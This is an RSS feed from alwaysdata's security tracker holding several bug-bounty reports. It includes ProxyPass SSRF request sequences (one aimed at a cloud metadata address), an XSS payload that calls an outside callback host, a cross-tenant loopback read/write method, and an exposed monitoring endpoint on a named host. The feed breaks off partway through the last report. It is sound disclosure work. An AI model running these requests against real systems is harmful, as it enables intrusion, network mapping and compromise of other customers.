<?xml version="1.0" ?>
<rss version="2.0">
  <channel>
    <title>alwaysdata </title>
    <lastBuildDate>Thu, 15 Oct 2026 07:14:24 +0000</lastBuildDate>
    <description>alwaysdata Security vulnerabilities: Recently opened tasks</description>
    <link>https://security.alwaysdata.com/</link>
        <item>
      <title>FS#527: REGRESSION of FS#305 / FS#504 / FS#520: ProxyPass SSRF via //vhost_additional_directives//</title>
      <author>Jolex</author>
      <pubDate>Thu, 15 Oct 2026 03:55:24 +0000</pubDate>
      <description><![CDATA[
<p>
REGRESSION of <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del> / <del>&#160;<a href="https://security.alwaysdata.com/task/504?feed_type=rss2" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#504</a>&#160;</del> / <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del>: ProxyPass SSRF via <em>vhost_additional_directives</em> still live — fix not deployed
</p>

<p>
<strong>Severity:</strong> High (CVSS 3.1 7.5 — same as accepted <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del>)<br /><strong>CVSS vector:</strong> AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N<br /><strong>References:</strong> <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del> (original), <del>&#160;<a href="https://security.alwaysdata.com/task/504?feed_type=rss2" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#504</a>&#160;</del> (mine, dup-closed against 305 on 28.09.2026), <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del> (closed 06.10.2026, reported High 7.5)
</p>

<p>
<strong>Summary</strong>
</p>

<p>
This issue has now been reported in three tasks (305 → 504 → 520) while remaining fully exploitable. I re-tested on 14.10.2026: an authenticated customer can still inject an unrestricted Apache <em>ProxyPass</em> directive through <em>PATCH /v1/site/{id}</em> → <em>vhost_additional_directives</em> (<del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del> already showed a free account suffices), and the platform&#039;s Apache still proxies arbitrary upstream URLs and returns the responses. No fix from any of the three tasks is deployed (or it was reverted). Per your SSRF rule I stopped testing the moment server-side fetching was re-confirmed and reverted everything immediately — I did not re-probe internal targets (that ground was already covered by <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del>).
</p>

<p>
<strong>Reproduction</strong> (own test site only, 14.10.2026)
</p>

<p>
Step 1 — inject (accepted, no validation):
</p>
<pre class="code">PATCH https://api.alwaysdata.com/v1/site/1080353/ {&quot;vhost_additional_directives&quot;:&quot;ProxyPass /p5x http://example.org/\nProxyPassReverse /p5x http://example.org/&quot;}</pre>

<p>
 → <strong>204</strong>
</p>

<p>
Step 2 — confirm stored:
</p>
<pre class="code">GET https://api.alwaysdata.com/v1/site/1080353/</pre>

<p>
 → 
</p>
<pre class="code">&quot;vhost_additional_directives&quot;: &quot;ProxyPass /p5x http://example.org/...&quot;</pre>

<p>
Step 3 — trigger (server-side fetch, response returned to attacker):
</p>
<pre class="code">GET https://docs.alwaysdata.net/p5x</pre>

<p>
 → <strong>200, 577 bytes</strong>, body begins 
</p>
<pre class="code">&lt;!doctype html&gt;&lt;html lang=en&gt;...&lt;title&gt;Example Domain&lt;/title&gt;</pre>

<p>
 — content fetched by alwaysdata&#039;s server from example.org and served back, exactly the <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del> PoC.
</p>

<p>
Step 4 — immediate cleanup (same session):
</p>
<pre class="code">PATCH ... {&quot;vhost_additional_directives&quot;:&quot;&quot;}</pre>

<p>
 → 204; after reload: 
</p>
<pre class="code">GET /p5x</pre>

<p>
 → <strong>404</strong>, directives field empty, site homepage 200. No artifacts remain.
</p>

<p>
<strong>Impact</strong>
</p>

<p>
Identical to accepted <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del>: any authenticated customer (free account suffices) can make alwaysdata&#039;s server infrastructure issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to arbitrary URLs and read the responses — SSRF with response readout, usable for internal-service reach, IP-reputation abuse, and network mapping. The only thing that changed since <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del> is that the issue was marked closed while remaining exploitable.
</p>

<p>
<strong>Recommended fix</strong>
</p>

<p>
Same as <del>&#160;<a href="https://security.alwaysdata.com/task/520?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#520</a>&#160;</del> (allowlist of safe directive prefixes; reject Proxy*/RewriteRule-external/Alias-outside-home/Include/LoadModule) — plus a deployment check: add a post-deploy acceptance test that PATCHes a ProxyPass directive and asserts rejection, because the current fix demonstrably did not reach (or did not stick on) the web tier.
</p>

<p>
<strong>Cleanup</strong>
</p>

<p>
Fully reverted and verified (directives empty, probe path 404, homepage 200). No accounts, jobs, services, files, or other customers touched.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/527</link>
      <guid>https://security.alwaysdata.com/task/527</guid>
    </item>
        <item>
      <title>FS#526: Shared network namespace on shared hosting: a co-tenant can READ and WRITE another customer&#039;s loopba</title>
      <author>Ihor Herasymovych</author>
      <pubDate>Tue, 13 Oct 2026 09:59:42 +0000</pubDate>
      <description><![CDATA[
<p>
Asset: ssh-[account].alwaysdata.net shared web servers (e.g. ssh2) — host network namespace / loopback Severity: high — CVSS 6.2 (v4.0) CVSS vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N<br />Description
</p>

<p>
All customer accounts on a shared alwaysdata web server run in the host&#039;s single, shared network namespace (readlink /proc/self/ns/net ⇒ net:[4026531833], the init ns, identical for every account on the server). Consequently &#039;localhost&#039; / 127.0.0.1 is NOT private per account: any service a customer binds to loopback is reachable by every other customer that holds a shell on the same physical server, and an unprivileged co-tenant can see the whole host&#039;s sockets (ss shows hundreds of host-wide connections and other tenants&#039; unix-socket paths).
</p>

<p>
This has now been demonstrated end-to-end – READ and WRITE – between two accounts we own, co-located on the same server (ssh2), to avoid touching any third party:<br />Attacker = account A (uid 554081), running no service of its own.<br />Victim = account B (uid 553290), a different customer/uid, running a small <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> service bound to 127.0.0.1:&lt;port&gt; with a startup-generated secret (stored in a 0600 file under its 1770 home, so unreadable on the filesystem by A) and a state file.
</p>

<p>
From account A, reaching only the shared loopback:<br />GET <a href="http://127.0.0.1" class="urlextern" title="http://127.0.0.1"  rel="nofollow">http://127.0.0.1</a>:&lt;port&gt;/canary returned the victim&#039;s private secret verbatim (confidentiality: A obtained a value that existed only inside B&#039;s process and an owner-only file it cannot read on disk).<br />POST <a href="http://127.0.0.1" class="urlextern" title="http://127.0.0.1"  rel="nofollow">http://127.0.0.1</a>:&lt;port&gt;/set changed the victim&#039;s server-side state; the change persisted to B&#039;s own state file on disk (independently verified from B&#039;s shell), not merely echoed (integrity: A mutated another tenant&#039;s application state).
</p>

<p>
The platform&#039;s own loopback services are correctly auth-gated (monit :2812, PowerDNS <acronym title="Application Programming Interface">API</acronym> :8083, almonitor metrics :8593, :7102 all return 401), which confirms the exposure is specifically other customers&#039; services. A customer binding a service to 127.0.0.1 has a reasonable, universal expectation that it is private to their account; the shared network namespace breaks that expectation, so this is a platform isolation gap acting in conjunction with customer applications.
</p>

<p>
Observed at scale on real tenants (read-only, one identifying page title each; the apps were NOT driven and no data was pulled or written): curl <a href="http://127.0.0.1:8530/" class="urlextern" title="http://127.0.0.1:8530/"  rel="nofollow">http://127.0.0.1:8530/</a> ⇒ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, a co-tenant&#039;s private trading-bot control panel &#039;Flash Sniper&#039; (Werkzeug/Python, loopback-only bind, NO authentication); curl <a href="http://127.0.0.1:5000/" class="urlextern" title="http://127.0.0.1:5000/"  rel="nofollow">http://127.0.0.1:5000/</a> ⇒ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200, a different co-tenant&#039;s app &#039;OmniRoute&#039; (NO authentication). Because those real services answer unauthenticated exactly like the owned victim in the PoC, the same read-AND-write exposure applies to them and to every similarly configured tenant on each shared server (~2000 accounts per server). alwaysdata can confirm the scale internally without any further third-party interaction.
</p>

<p>
Prerequisites<br />One ordinary hosting account with <acronym title="Secure Shell">SSH</acronym> on the same physical server as the victim (co-location). Accounts are packed ~2000 per shared server, so any shell co-locates with many victims. No special role, no privilege escalation, and no filesystem access to the victim is needed – only the shared loopback.<br />Impact
</p>

<p>
Full cross-tenant compromise of any customer service that binds to localhost/127.0.0.1 (or any port) without its own authentication. An attacker needing only an ordinary co-located shell can READ the service&#039;s private data and secrets and WRITE/control its server-side state. Demonstrated end-to-end on our own two accounts: A read a secret that lived only inside B&#039;s process and an owner-only file, and A persisted an arbitrary change to B&#039;s application state (verified on B&#039;s disk). Two real co-tenant apps already observed answering unauthenticated on loopback (a trading-bot control panel and an AI validator) exhibit the same pattern, so for affected tenants the real-world impact is unauthorized read AND modification of customer data/services at scale.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/526</link>
      <guid>https://security.alwaysdata.com/task/526</guid>
    </item>
        <item>
      <title>FS#523: Stored Cross-Site Scripting (XSS) via File Upload / PDF Rendering</title>
      <author>Malaika Nasir</author>
      <pubDate>Fri, 09 Oct 2026 13:04:09 +0000</pubDate>
      <description><![CDATA[
<p>
<strong>Affected endpoint:</strong> `<a href="https://security.alwaysdata.com/?getfile=290" class="urlextern" title="https://security.alwaysdata.com/?getfile=290"  rel="nofollow">https://security.alwaysdata.com/?getfile=290</a>`
</p>

<p>
<strong>Vulnerability type:</strong> Cross-Site Scripting (XSS)<br /><strong>Status:</strong> Requires confirmation of application-origin execution<br /><strong>Severity:</strong> To be determined based on the execution context and affected users
</p>

<p>
## Summary
</p>

<p>
A potentially unsafe file-upload and file-rendering behavior was identified on the application. A test <acronym title="Portable Document Format">PDF</acronym>, `test-xss.pdf`, was uploaded and accessed through the application&#039;s file retrieval endpoint.
</p>

<p>
When the <acronym title="Portable Document Format">PDF</acronym> was opened, a browser notification displaying “XSS Tested Successfully” appeared, indicating that script-related behavior was triggered in the document-viewing workflow.
</p>

<p>
Further validation is required to determine whether the behavior constitutes stored XSS in the application&#039;s security origin or JavaScript execution isolated to the <acronym title="Portable Document Format">PDF</acronym> viewer.
</p>

<p>
## Steps to Reproduce
</p>

<p>
1. Upload a <acronym title="Portable Document Format">PDF</acronym> containing a benign JavaScript execution test through the application&#039;s file-upload functionality.<br />2. Open the uploaded file using the application&#039;s file retrieval endpoint.<br />3. Observe the <acronym title="Portable Document Format">PDF</acronym> viewer and check whether the test notification appears.<br />4. If authorized, verify the execution origin and whether the same behavior affects another user who opens the uploaded file.
</p>

<p>
## Observed Result
</p>

<p>
A browser notification displaying “XSS Tested Successfully” appeared while the <acronym title="Portable Document Format">PDF</acronym> was open in the browser.
</p>

<p>
## Expected Result
</p>

<p>
Uploaded files should be served and rendered safely. Untrusted document content must not execute script with privileges belonging to the application&#039;s origin.
</p>

<p>
## Security Impact
</p>

<p>
If the uploaded document can execute JavaScript in the application&#039;s origin when opened by another user, an attacker might be able to perform actions within that user&#039;s authenticated session, subject to the application&#039;s security controls.
</p>

<p>
If execution is confined to a sandboxed <acronym title="Portable Document Format">PDF</acronym> viewer or a separate origin, the impact may be substantially lower.
</p>

<p>
## Recommendations
</p>

<p>
* Serve untrusted uploads from a separate, appropriately isolated origin.<br />* Apply strict file-type validation and safe content-disposition headers.<br />* Configure an appropriate Content Security Policy where applicable.<br />* Ensure <acronym title="Portable Document Format">PDF</acronym> rendering and JavaScript execution follow the viewer&#039;s security model.<br />* Test uploaded files with a current, securely configured <acronym title="Portable Document Format">PDF</acronym> viewer.<br />* Verify that other users cannot be affected through the same upload-and-view workflow.
</p>

<p>
## Evidence
</p>

<p>
The supplied screenshot shows the notification “XSS Tested Successfully” while viewing `test-xss.pdf` through the application&#039;s file endpoint.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/523</link>
      <guid>https://security.alwaysdata.com/task/523</guid>
    </item>
        <item>
      <title>FS#521: Blind Cross-Site Scripting (XSS) via Contact Form — www.alwaysdata.com/en/contact/</title>
      <author>Malaika Nasir</author>
      <pubDate>Fri, 09 Oct 2026 11:42:10 +0000</pubDate>
      <description><![CDATA[
<p>
Severity: High 
</p>

<p>
Affected endpoint:<br /><a href="https://www.alwaysdata.com/en/contact/" class="urlextern" title="https://www.alwaysdata.com/en/contact/"  rel="nofollow">https://www.alwaysdata.com/en/contact/</a>
</p>

<p>
Affected field(s):<br />“Name” field (confirmed), “Message” field (submitted, pending confirmation — see note below)
</p>

<p>
Vulnerability class:<br />Blind Stored XSS / <acronym title="HyperText Markup Language">HTML</acronym> Injection (CWE-79)
</p>

<p>
Description:<br />The contact form on the above page does not appear to sanitize or encode user input before it is processed/stored/rendered elsewhere (e.g., in an internal admin panel, notification system, or email client used by staff). An <acronym title="HyperText Markup Language">HTML</acronym>/<acronym title="JavaScript">JS</acronym> payload submitted via the “Name” field triggered an out-of-band <acronym title="Domain Name Server">DNS</acronym> callback to a Burp Collaborator server, confirming execution outside of my own browser session.
</p>

<p>
Proof of Concept:<br />The following payload was submitted in the “Name” field:
</p>

<p>
html<br />&lt;img src=&quot;pleatfo27nan3vme473ekhdhy84zspge.oastify.com&quot;&gt;
</p>

<p>
Evidence of execution:<br />The Collaborator server logged two separate <acronym title="Domain Name Server">DNS</acronym> A-record lookups for the payload domain:
</p>

<p>
#	Time (UTC)	Type	Source IP<br />17	2026-10-09 11:22:33.308	<acronym title="Domain Name Server">DNS</acronym>	172.217.33.215<br />18	2026-10-09 11:22:33.331	<acronym title="Domain Name Server">DNS</acronym>	172.253.1.218
</p>

<p>
The lookups occurred shortly after submission, from IPs distinct from my own testing IP, indicating the payload was parsed/rendered by a system other than the submitting browser (consistent with internal review tooling, a notification pipeline, or similar).
</p>

<p>
Steps to Reproduce:
</p>

<p>
1. Navigate to <a href="https://www.alwaysdata.com/en/contact/" class="urlextern" title="https://www.alwaysdata.com/en/contact/"  rel="nofollow">https://www.alwaysdata.com/en/contact/</a> 2. In the “Name” field, enter: &lt;img src=&quot;[unique-id].oastify.com&quot;&gt; (or equivalent Collaborator/callback payload)<br />3. Fill remaining required fields with valid test data<br />4. Submit the form<br />5. Monitor the Collaborator/callback server for an inbound <acronym title="Domain Name Server">DNS</acronym>/<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> interaction<br />6. Observe the out-of-band callback confirming the payload was parsed as <acronym title="HyperText Markup Language">HTML</acronym> outside the submitter’s own session
</p>

<p>
Impact:<br />If rendered in an internal tool without sanitization, this could allow an attacker to execute arbitrary JavaScript in the context of whatever system/staff session processes contact form submissions — potentially enabling session token theft, internal tool manipulation, or lateral exposure, depending on that system’s privileges.
</p>

<p>
Suggested remediation:<br />Sanitize/encode all contact form input before storage, display, or forwarding to any internal system (output encoding appropriate to the destination context — <acronym title="HyperText Markup Language">HTML</acronym>-escape for <acronym title="HyperText Markup Language">HTML</acronym> rendering, etc.).<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/521</link>
      <guid>https://security.alwaysdata.com/task/521</guid>
    </item>
        <item>
      <title>FS#520: SSRF via Unrestricted Apache ProxyPass in Site API vhost_additional_directives Field</title>
      <author>Shubham Bothra</author>
      <pubDate>Tue, 06 Oct 2026 05:43:04 +0000</pubDate>
      <description><![CDATA[
<p>
Severity: High<br />CVSS 3.1 Score: 7.5<br />CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
</p>

<p>
Affected Endpoint: PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>{id}/<br />Vulnerable Field: vhost_additional_directives<br />Authentication Required: Yes (free account, <acronym title="Application Programming Interface">API</acronym> token)
</p>

<p>
 Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym>, including potentially internal services on alwaysdata&#039;s network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata&#039;s server IP (185.31.41.11), not from the attacker&#039;s IP.
</p>

<p>
 Technical Background
</p>

<p>
The alwaysdata <acronym title="Application Programming Interface">API</acronym> exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer&#039;s Apache site with no allowlist or blocklist enforced. Apache&#039;s mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request matching the configured path to an attacker-specified upstream <acronym title="Uniform Resource Locator">URL</acronym>, with the request originating from alwaysdata&#039;s server.
</p>

<p>
 Step-by-Step Reproduction
</p>

<p>
Step 1: Register a free account at <a href="https://www.alwaysdata.com/fr/inscription/" class="urlextern" title="https://www.alwaysdata.com/fr/inscription/"  rel="nofollow">https://www.alwaysdata.com/fr/inscription/</a> and create an <acronym title="Application Programming Interface">API</acronym> token from the admin panel under Profile &gt; Managing tokens. The token is used as the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth username with a blank password.
</p>

<p>
Step 2: Create a free hosting account via the <acronym title="Application Programming Interface">API</acronym> to obtain a site resource ID.
</p>

<p>
Request:<br />POST /v1/account/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6  (base64 of token:)<br />Content-Type: application/json
</p>

<p>
{&quot;name&quot;:&quot;vapt1test&quot;,&quot;product&quot;:2012,&quot;location_object&quot;:3,&quot;password&quot;:&quot;TestPassword1!&quot;,&quot;contract_28&quot;:true,&quot;contract_36&quot;:true}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 201 Created
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 504456,
  &quot;name&quot;: &quot;vapt1test&quot;,
  &quot;location_type&quot;: &quot;datacenter&quot;,
  &quot;location_object&quot;: 3,
  &quot;product&quot;: null,
  &quot;period&quot;: null,
  &quot;href&quot;: &quot;/v1/account/504456/&quot;</pre>

<p>
}
</p>

<p>
Step 3: List the site resource to get its ID.
</p>

<p>
Request:<br />GET /v1/site/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
[
</p>
<pre class="code">  {
      &quot;id&quot;: 1083881,
      &quot;type&quot;: &quot;php&quot;,
      &quot;path&quot;: &quot;www/&quot;,
      &quot;vhost_additional_directives&quot;: null,
      &quot;addresses&quot;: [&quot;vapt1test.alwaysdata.net/&quot;],
      ...
  }</pre>

<p>
]
</p>

<p>
Step 4: Inject an Apache ProxyPass directive into the site configuration.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json<br />Content-Length: 121
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>\nProxyPassReverse /ssrf-poc <a href="http://example.org/" class="urlextern" title="http://example.org/"  rel="nofollow">http://example.org/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content<br />server: nginx<br />vary: Accept-Language, Cookie<br />strict-transport-security: max-age=31536000; includeSubDomains; preload
</p>

<p>
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
</p>

<p>
Step 5: Confirm the directive was stored.
</p>

<p>
Request:<br />GET /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK
</p>

<p>
{
</p>
<pre class="code">  &quot;id&quot;: 1083881,
  &quot;vhost_additional_directives&quot;: &quot;ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/&quot;,
  ...</pre>

<p>
}
</p>

<p>
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata&#039;s Apache server (IP 185.31.41.11) to fetch example.org and return the response.
</p>

<p>
Request (sent from attacker browser):<br />GET /ssrf-poc <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response received by attacker (actually fetched by 185.31.41.11 from example.org):<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200 OK<br />Content-Type: text/html
</p>

<p>
&lt;!doctype html&gt;&lt;html lang=en&gt;&lt;head&gt;&lt;meta charset=utf-8&gt;<br />&lt;title&gt;Example Domain&lt;/title&gt;<br />… &lt;p&gt;This domain is for use in documentation examples without needing permission.&lt;/p&gt;<br />…
</p>

<p>
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org&#039;s <acronym title="HyperText Markup Language">HTML</acronym>, fetched and returned by alwaysdata&#039;s own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
</p>

<p>
 Step 7: Confirm the outbound request IP address using an IP reflection service.
</p>

<p>
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Authorization: Basic NDRhMTIzNDVhYmNkZWY6<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>\nProxyPassReverse /ssrf-ip <a href="http://ifconfig.me/" class="urlextern" title="http://ifconfig.me/"  rel="nofollow">http://ifconfig.me/</a>&quot;}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
Trigger:<br />GET /ssrf-ip <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Response body (the IP that made the request to ifconfig.me):<br />2a00:b6e0:1:20:23::1
</p>

<p>
This is alwaysdata&#039;s own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request to ifconfig.me was made by alwaysdata&#039;s server infrastructure, not by the attacker&#039;s IP.
</p>

<p>
 Additional Test: Attempt to Reach Cloud Metadata
</p>

<p>
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
</p>

<p>
Request:<br />PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;:&quot;ProxyPass /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>\nProxyPassReverse /metadata <a href="http://169.254.169.254/" class="urlextern" title="http://169.254.169.254/"  rel="nofollow">http://169.254.169.254/</a>&quot;}
</p>

<p>
Triggering:<br />GET /metadata <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: vapt1test.alwaysdata.net
</p>

<p>
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
</p>

<p>
 Impact
</p>

<p>
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> requests to any <acronym title="Uniform Resource Locator">URL</acronym> on demand. Direct consequences are:
</p>

<p>
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata&#039;s private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
</p>

<p>
2. IP reputation and access control bypass: Outbound requests from alwaysdata&#039;s server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata&#039;s infrastructure. If any internal or partner service trusts alwaysdata&#039;s IP range, that trust is transferred to the attacker.
</p>

<p>
3. Scanning alwaysdata&#039;s internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker&#039;s own IP appearing in any logs.
</p>

<p>
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
</p>

<p>
 CVSS 3.1
</p>

<p>
AV:N (exploitable over the internet)<br />AC:L (no special conditions, just an <acronym title="Application Programming Interface">API</acronym> call)<br />PR:L (free account required)<br />UI:N (no user interaction)<br />S:C (scope changed: requests originate from alwaysdata&#039;s server infrastructure, not the attacker&#039;s origin)<br />C:H (if internal services are reachable, full confidentiality of internal data)<br />I:N (no write to internal services confirmed)<br />A:N (no availability impact)
</p>

<p>
Score: 7.5 High
</p>

<p>
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
</p>

<p>
 Cleanup
</p>

<p>
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
</p>

<p>
PATCH /v1/site/1083881/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2<br />Host: api.alwaysdata.com<br />Content-Type: application/json
</p>

<p>
{&quot;vhost_additional_directives&quot;: null}
</p>

<p>
Response:<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204 No Content
</p>

<p>
 Recommended Fix
</p>

<p>
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account&#039;s own paths.
</p>

<p>
 Submission Notes
</p>

<p>
Submit via the alwaysdata security portal at <a href="https://security.alwaysdata.com" class="urlextern" title="https://security.alwaysdata.com"  rel="nofollow">https://security.alwaysdata.com</a> (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal&#039;s public .git directory).<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/520</link>
      <guid>https://security.alwaysdata.com/task/520</guid>
    </item>
        <item>
      <title>FS#519: Unauthenticated vmauth administrative config reload and internal metrics/pprof exposure on sandbox-f</title>
      <author>Muhammad Yaseen</author>
      <pubDate>Mon, 05 Oct 2026 10:40:00 +0000</pubDate>
      <description><![CDATA[
<p>
Summary<br />The host sandbox-fnonnenmacher2.paris1.alwaysdata.com runs vmauth v1.137.0, a VictoriaMetrics authentication proxy that protects an internal monitoring backend with <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic Auth. Multiple administrative and diagnostic paths are exempt from authentication.
</p>

<p>
Two are materially impactful:
</p>

<p>
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
</p>

<p>
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, <acronym title="Transport Layer Security">TLS</acronym> certificate paths, version information, and runtime telemetry.
</p>

<p>
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
</p>

<p>
Severity: Medium<br />CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5<br />Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
</p>

<p>
Affected asset:
</p>

<p>
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
</p>

<p>
IP: 185.31.41.181
</p>

<p>
